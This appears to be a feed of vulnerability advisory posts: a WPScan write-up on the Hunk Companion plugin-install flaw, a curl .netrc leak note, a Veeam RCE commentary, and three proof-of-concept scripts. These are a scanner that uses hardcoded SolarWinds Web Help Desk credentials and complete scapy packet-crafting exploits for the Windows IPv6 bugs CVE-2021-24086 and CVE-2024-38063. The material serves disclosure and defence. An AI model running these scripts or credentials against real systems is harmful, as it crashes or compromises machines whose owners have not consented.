Recent comments
Log in or create an account to share your comment.
Unauthorized Plugin Installation/Activation in Hunk Companion | WPScan
2024-12-15T06:47:50 by Alexandre DulaunoyUnauthorized Plugin Installation/Activation in Hunk Companion | WPScan
Ref: https://wpscan.com/blog/unauthorized-plugin-installation-activation-in-hunk-companion/
This report highlights a vulnerability in the Hunk Companion plugin < 1.9.0 that allows unauthenticated POST requests to install and activate plugins directly from the WordPress.org repository.
This flaw poses a significant security risk, as it enables attackers to install vulnerable or closed plugins, which can then be exploited for attacks such as Remote Code Execution (RCE), SQL Injection, Cross‑Site Scripting (XSS), or even the creation of administrative backdoors. By leveraging these outdated or unmaintained plugins, attackers can bypass security measures, manipulate database records, execute malicious scripts, and gain unauthorized administrative access to the site.
Method of Exploitation
While tracing an infection on a WordPress site, we uncovered a live vulnerability currently being exploited in a two‑step process:
- Unauthenticated Installation/Activation: Attackers exploit a flaw to install and activate the now‑closed and vulnerable plugin, WP Query Console
- Remote Code Execution (RCE): The vulnerability in WP Query Console is then exploited to evaluate arbitrary and malicious PHP code.
In the infections we’ve analyzed, attackers use the RCE to write a PHP dropper to the site’s root directory. This dropper allows continued unauthenticated uploads via GET requests, enabling persistent backdoor access to the site.
Investigation
The vulnerability was uncovered during an investigation into the entry point for an infection caused by its exploitation. Access logs revealed that the change timestamp of a randomly named PHP file located in the root of the WordPress installation (/htdocs/aea74fff3c02.php) was preceded by requests to the following endpoints:
- Time: Nov 27, 2024 @ 08:21:41.812
- request_url: /aea74fff3c02.php
- http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: GET
- Time: Nov 27, 2024 @ 08:21:41.561
- request_url: /?rest_route=/wqc/v1/query
- http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
- Time: Nov 27, 2024 @ 08:21:40.354
- request_url: /wp-json/hc/v1/themehunk-import
- http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
- Time: Nov 27, 2024 @ 08:21:08.151
- request_url: /wp-json/hc/v1/themehunk-import
- http_user_agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2735.76 Safari/537.36
- request_type: POST
Further investigation revealed that the plugins responsible for these endpoints are Hunk Companion and WP Query Console, respectively. Each observed infection’s modification times aligned with POST requests to these same endpoints.
The Remote Code Execution (RCE) vulnerability in WP Query Console, reported under CVE‑2024‑50498, remains unpatched. Meanwhile, the unauthenticated plugin installation/activation vulnerability in Hunk Companion was reportedly fixed in version 1.8.5 and greater, as documented in CVE‑2024‑9707.
Upon further review, we confirmed that this infection did, in fact, occur with the latest version of Hunk Companion at that time, 1.8.7, indicating that the vulnerability had persisted in the current version.
Code Analysis
An analysis of the code responsible for the themehunk‑import endpoint revealed the vulnerability being exploited.
Within the file hunk‑companion/import/core/class‑installation.php, the class HUNK_COMPANION_SITES_BUILDER_SETUP is executed by the endpoint and handles plugin installation and activation.
On line 204, the following code demonstrates that the WordPress.org URL is hardcoded, restricting installations to plugins hosted on the WordPress.org repository:
$temp_file = download_url('https://downloads.wordpress.org/plugin/'.$slug.'.zip');
However, this URL allows the download of plugins, even if they have been closed or removed from the repository. This behavior introduces a significant vector for exploitation, enabling attackers to install vulnerable plugins.
The vulnerability stems from the weakness found in hunk‑companion/import/app/app.php:
register_rest_route( 'hc/v1', 'themehunk-import', array(
'methods' => 'POST',
'callback' => array( $this, 'tp_install' ),
'permission_callback' => function () {
// Check if the user is logged in
if ( ! is_user_logged_in() ) {
//return new WP_REST_Response( 'Unauthorized: User not logged in', 401 );
}
// Debug: Log the user role and capabilities to see what they have
$current_user = wp_get_current_user();
// error_log( 'Current user: ' . $current_user->user_login );
// error_log( 'User roles: ' . implode( ', ', $current_user->roles ) );
// error_log( 'User capabilities: ' . print_r( $current_user->allcaps, true ) );
// Ensure the user has the 'install_plugins' capability
if ( ! current_user_can( 'install_plugins' ) ) {
return new WP_REST_Response( 'Unauthorized: Insufficient capabilities', 401 );
}
// Get the nonce from the request header
$nonce = $request->get_header('X-WP-Nonce');
// Verify the nonce
if ( ! wp_verify_nonce( $nonce, 'hc_import_nonce' ) ) {
return new WP_REST_Response( 'Unauthorized: Invalid nonce', 401 );
}
return true; // Permission granted
},
) );
Lines 28‑59 register the REST API route for themehunk‑import. In version 1.8.5, the plugin author introduced a permission_callback to restrict access. However, for permission_callback to work correctly, it must return a boolean (false to reject requests, true to accept) or a WP_Error object.
In this case, failed conditions return new WP_REST_Response, which is not a boolean or WP_Error. As a result, the permission_callback always evaluates to true, allowing unauthenticated requests to bypass the intended checks. This flaw enables the execution of the tp_install function, which invokes the HUNK_COMPANION_SITES_BUILDER_SETUP class, leading to the installation and activation of arbitrary plugins.
Recommended Fix
To address this issue, the themehunk‑import and ai‑site‑import endpoints needed to be patched. Specifically, the return statements for failed conditions needed to be changed. For example, replace:
return new WP_REST_Response( 'Unauthorized: User not logged in', 401 );
With:
return new WP_Error( 'unauthorized', __( 'You must be logged in.' ), array( 'status' => 401 ) );
This change ensures the permission_callback correctly denies unauthorized requests, mitigating the vulnerability.
As of 1.9.0, the author implemented the necessary patch, and we have confirmed that the exploit is no longer present.
Conclusion
This vulnerability represents a significant and multifaceted threat, targeting sites that use both a ThemeHunk theme and the Hunk Companion plugin. With over 10,000 active installations, this exposed thousands of websites to anonymous, unauthenticated attacks capable of severely compromising their integrity.
What makes this attack particularly dangerous is its combination of factors—leveraging a previously patched vulnerability in Hunk Companion to install a now‑removed plugin with a known Remote Code Execution flaw. The chain of exploitation underscores the importance of securing every component of a WordPress site, especially third‑party themes and plugins, which can become critical points of entry for attackers.
As WordPress remains the most popular content management system in the world, such vulnerabilities serve as a stark reminder of the ongoing challenges in maintaining site security. It’s imperative for developers, site owners, and plugin authors alike to adopt proactive measures, such as regularly updating plugins and themes, auditing for known vulnerabilities, and disabling unused or unnecessary extensions.
Timeline
Nov 27th, 2024 – Internal discovery of this vulnerability. We reported issue to Hunk Companion
Dec 10th, 2024 – Hunk Companion confirms acknowledges issue and releases a patch.
Dec 10th, 2024 – We published this advisory.
The PoC will be displayed on January 14, 2025, to give users the time to update.
Credits
Original research: Daniel Rodriguez
Acknowledgments: Special thanks to the WPScan team and Ashley Robicheau for feedback, help, and corrections.
When asked to both use a .netrc file for credentials and to follow HTTP redirects, curl could leak the password used for the first host to the followed-to host under certain circumstances.
This flaw only manifests itself if the netrc file has an entry that matches the redirect target hostname but the entry either omits just the password or omits both login and password.
Info
"A curl transfer with a.tld that redirects to b.tld that uses a .netrc like below (with a match, but no password specified for the second host), would make curl pass on alicespassword as password even in the second transfer to the separate host b.tld.
machine a.tld login alice password alicespassword default login bob
This bug is not considered a C mistake. It is not likely to have been avoided had we not been using C.
This flaw also affects the curl command line tool.
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2024-11053 to this issue.
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Severity: Low"
A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC
import argparse
import base64
import requests
# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"
ascii_art = f"""
{BOLD}{RED}
______ __ __
/ \ / | / |
/$$$$$$ |$$ |____ ______ _______ _$$ |_ _______ ______ _______
$$ | _$$/ $$ \ / \ / |/ $$ | / | / \ / |
$$ |/ |$$$$$$$ |/$$$$$$ |/$$$$$$$/ $$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$$/
$$ |$$$$ |$$ | $$ |$$ | $$ |$$ \ $$ | __ $$ \ $$ $$ |$$ |
$$ \__$$ |$$ | $$ |$$ \__$$ | $$$$$$ | $$ |/ | $$$$$$ |$$$$$$$$/ $$ \_____
$$ $$/ $$ | $$ |$$ $$/ / $$/ $$ $$/ / $$/ $$ |$$ |
$$$$$$/ $$/ $$/ $$$$$$/ $$$$$$$/ $$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/
PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""
print(ascii_art)
def get_basic_auth_header(username, password):
credentials = f"{username}:{password}"
base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
return {'Authorization': f'Basic {base64_credentials}'}
def scan_target(hostname):
# Ensure hostname does not have trailing slashes
hostname = hostname.strip().rstrip('/')
url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"
# Print formatted URL for debugging
print(f"{BOLD}[*] Scanning URL: {url}{RESET}")
headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
else:
print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
except requests.RequestException:
# Modify this line to just print "Not vulnerable" instead of the error details
print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")
def scan_targets_from_file(file_path):
try:
with open(file_path, 'r') as file:
targets = file.readlines()
if not targets:
print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
return
for target in targets:
target = target.strip()
if target:
scan_target(target)
except FileNotFoundError:
print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
except Exception as e:
print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')
args = parser.parse_args()
scan_targets_from_file(args.file)
if __name__ == "__main__":
main()
- https://censys.com/cve-2024-40711/
- https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/
Well, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication.
We’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis).
Perhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability.
Regardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172':
Version Status
12.2.0.334 Fully patched. Not affected by the vulnerabilities in this blogpost.
12.1.2.172 Affected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code.
12.1.1.56 and earlier Vulnerable to unauthenticated RCE.
Speaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post:
Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086
2024-08-28T09:53:22 by Cédric BonhommeAnalysis of a denial of service vulnerability affecting the IPv6 stack of Windows.
This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.
Proof of Concept
```python import sys import random
from scapy.all import *
FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58
def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472
return raw(er)
def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def send_last_inner_fragment(target_addr, inner_frag_id):
raw_er = get_layer4()
ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE:
fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
if i == len(fragmentable_part) - 1:
more = 0
else:
more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i])
frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
send(frag)
print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)
if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```
Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.
An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.
PoC published on GitHub on August 24, 2024.
Implementation
Implementation details are available on GitHub.
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")